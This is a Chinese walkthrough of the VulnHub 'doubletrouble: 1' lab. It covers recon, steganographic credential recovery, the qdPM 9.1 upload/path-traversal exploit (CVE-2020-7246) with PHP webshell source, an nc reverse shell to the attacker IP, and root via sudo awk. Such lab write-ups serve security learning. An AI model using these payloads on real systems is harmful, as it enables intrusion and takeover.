当前位置: 首页 > news >正文

doubletrouble: 1靶场渗透

doubletrouble: 1

来自 <doubletrouble: 1 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.130

 

4,访问80端口开放的http服务

可以看到网站是一个项目管理系统,使用了qdPM。再扫描枚举网站子目录

gobuster dir -u http://192.168.23.130/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

基本上网站存在的一些内容都扫出来了

 

5,检索这个版本的qdPM有什么漏洞

searchsploit qdPM 9.1

存在远程命令执行漏洞,阅读使用说明

1. 运行环境准备

  • Python 2.7(代码里语法是 Python2 的 print 'xxx')。
  • requests 和 lxml 两个依赖库。
    pip install requests lxml
  • 一个合法授权的 qdPM 9.1 测试环境(搭建在本地靶场,比如 XAMPP + qdPM)。

2. 脚本调用方式

脚本里已经写了调用示例:

python 47954.py -url http://localhost/ -u user@localhost.com -p password

参数说明:

  • -url → 目标站点地址(qdPM 系统首页 URL,结尾带 /)。
  • -u → 登录邮箱(需要有账户权限,不一定要管理员)。
  • -p → 登录密码。

3. 攻击流程(代码解析)

  1. 登录
    • 脚本先访问 /index.php/login,解析出登录表单的 _csrf_token。
    • 然后用你提供的邮箱和密码提交,维持 session。
  2. 路径穿越写入 .htaccess
    • 通过修改个人资料 photo_preview 字段,构造文件名为 .htaccess 和 ../.htaccess,尝试控制上传路径。
  3. 上传恶意 PHP 文件
    • 构造带有 <?php system($_REQUEST['cmd']); ?> 的 payload,作为头像文件上传。
    • 因为路径穿越绕过,文件最终会出现在 uploads/users/backdoor.php。
  4. 输出结果
    • 脚本最后会打印一句:
      Backdoor uploaded at -> http://target/uploads/users/backdoor.php?cmd=whoami
    • 这个 URL 就是 WebShell,你可以通过 ?cmd=ls、?cmd=cat /etc/passwd 等参数执行命令。

必须有有效账号,因为漏洞点在个人账户头像上传功能。所以这个脚本目前无法使用

6,继续信息收集,注意到存在一个secret目录

http://192.168.23.130/secret/doubletrouble.jpg

下载这个图片,分析发现隐写内容

wget http://192.168.23.130/secret/doubletrouble.jpg

stegseek doubletrouble.jpg

使用账户密码登录成功

7,接下来尝试使用脚本对网站getshell

python 47954.py -url http://192.168.23.130  -u otisrush@localhost.com -p otis666 

这个错误是因为你的 Python 代码使用了 Python 2.x 的语法,而你正在用 Python 3.x 运行它。

在 Python 3 中,print 已经从语句变为函数,必须使用括号,就像错误提示中所说的 print(...)。

所有print添加括号之后就可以成功使用了,由此成功写入一句话木马

http://192.168.23.130/uploads/users/292055-backdoor.php?cmd=whoami

CVE-2020-7246 (qdPM 9.1 文件上传 + 路径穿越漏洞)

1. 登录阶段

  • 脚本首先访问 /index.php/login,解析出登录表单的 CSRF Token(login[_csrf_token])。
  • 然后用用户邮箱和密码发起登录请求,建立一个带 Session 的会话。这一点说明:漏洞利用需要一个 已注册用户账号,不一定是管理员。

2. 文件上传机制

qdPM 允许用户在 个人资料(My Account) 中上传头像 (users[photo])。

上传文件后,文件会存放到:/uploads/users/

但是 qdPM 没有严格检查文件扩展名和路径输入,攻击者就能利用这一点。

3. 路径穿越

脚本构造了恶意请求,修改字段 users[photo_preview] 为:

  • .htaccess
  • ../.htaccess

通过路径穿越写入 .htaccess 文件,改变 Web 服务器对上传目录的处理规则,让 .php 文件可以被执行(否则可能默认只允许图片访问)。

4. 上传 WebShell

之后,脚本再上传一个文件,伪装成头像,文件名 backdoor.php,内容是:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

这个小后门就是一个命令执行接口,攻击者可以直接通过 URL 传参 ?cmd=ls、?cmd=whoami 等来执行系统命令。

5. 漏洞利用结果

上传成功后,脚本会输出:

Backdoor uploaded at -> http://目标站/uploads/users/backdoor.php?cmd=whoami

访问这个 URL,就能远程控制服务器。

6. 漏洞利用核心逻辑总结

  1. 获取 CSRF Token + 登录
  2. 利用路径穿越上传 .htaccess
  3. 上传恶意 PHP 文件作为头像
  4. 利用 WebShell 参数执行系统命令
  5. 实现远程代码执行(RCE)

 

8,然后再尝试反弹shell到kali

http://192.168.23.130/uploads/users/292055-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.23.128%204444

与此同时kali打开对4444端口的监听

成功getshell

9,python脚本获取可交互式shell,然后信息收集

python -c 'import pty;pty.spawn("/bin/bash")'

再看看sudo可否提权

www-data用户被允许以(ALL : ALL)身份(即所有用户和所有组)运行命令,无需输入密码(NOPASSWD)即可运行的命令是:/usr/bin/awk

sudo -u root awk 'BEGIN {system("/bin/sh")}'

执行命令,提权成功

提权原理分析

  1. 权限基础
    从之前的sudo -l输出可知,www-data用户拥有无需密码(NOPASSWD)以任何用户(包括root)身份执行/usr/bin/awk的权限
  2. awk命令的特殊性
    awk是一个文本处理工具,但它的system()函数可以执行系统命令
    在awk的BEGIN块中,代码会在处理任何输入之前执行,这使得我们可以不依赖输入文件而直接执行命令
  3. 提权过程
    • 使用sudo -u root指定以root身份运行awk
    • 通过awk 'BEGIN {system("/bin/sh")}'在awk中执行/bin/sh,打开一个 shell
    • 此时打开的 shell 继承了awk的运行权限(即root权限)
  4. 提权成功验证
    • 执行id命令显示uid=0(root),确认已获得 root 权限
    • 执行whoami命令返回root,进一步验证提权成功

 

http://www.xdnf.cn/news/1450387.html

相关文章:

  • ubuntu-24.04.3-live-server连接不上xhell
  • 当数据库宕机时,PostgreSQL 高可用在背后做了什么?
  • 探索 PostgreSQL 和 MySQL 之间的主要差异和相似之处,找到满足您项目需求的最佳数据库解决方案。
  • jQuery的$.Ajax方法分析
  • 低代码高效搭建应用,轻松应对多场景需求
  • 低代码选型避坑指南:告别封闭与绑定,星图云开发者平台定义开放灵活新标准
  • 3D 房地产地图 Web 应用
  • 从0到1搭建某铝箔智慧工厂网络:5G与WiFi 6助力智能制造
  • 渐变背景色和渐变字体颜色的实现方法
  • GPT-5冷酷操盘,游戏狼人杀一战封神!七大LLM狂飙演技,人类玩家看完沉默
  • 学习日记-SpringMVC-day49-9.4
  • 卫星通信+地面网络融合 Sivers半导体毫米波技术打通智慧交通最后一公里
  • DevOps平台选型指南:破解研发效率瓶颈,适配金融/政务/国产化场景的5大关键指标
  • E-E-A-T与现代SEO:赢得搜索引擎信任的完整策略
  • 高效办公新选择:艾克斯音频转文本工具——免费本地化AI识别神器
  • 第15章 Jenkins最佳实践
  • GitHub每日最火火火项目(9.4)
  • 在树莓派集群上部署 Distributed Llama (Qwen 3 14B) 详细指南
  • “乾坤大挪移”:耐达讯自动化RS485转Profinet解锁HMI新乾坤
  • 当Python遇见高德:基于PyQt与JS API构建桌面三维地形图应用实战
  • leetcode算法刷题的第二十六天
  • 软考中级习题与解答——第二章_程序语言与语言处理程序(2)
  • 用Logseq与cpolar:构建开源笔记的分布式协作系统
  • openEuler2403安装部署Kafka
  • 【图像处理基石】图像在频域处理和增强时,如何避免频谱混叠?
  • 机电装置:从基础原理到前沿应用的全方位解析
  • 大模型RAG项目实战:阿里巴巴GTE向量模型
  • 【算法--链表题5】24.两两交换链表中的节点--通俗讲解
  • 【Unity开发】热更新学习——AssetBundle
  • 华清远见25072班I/O学习day4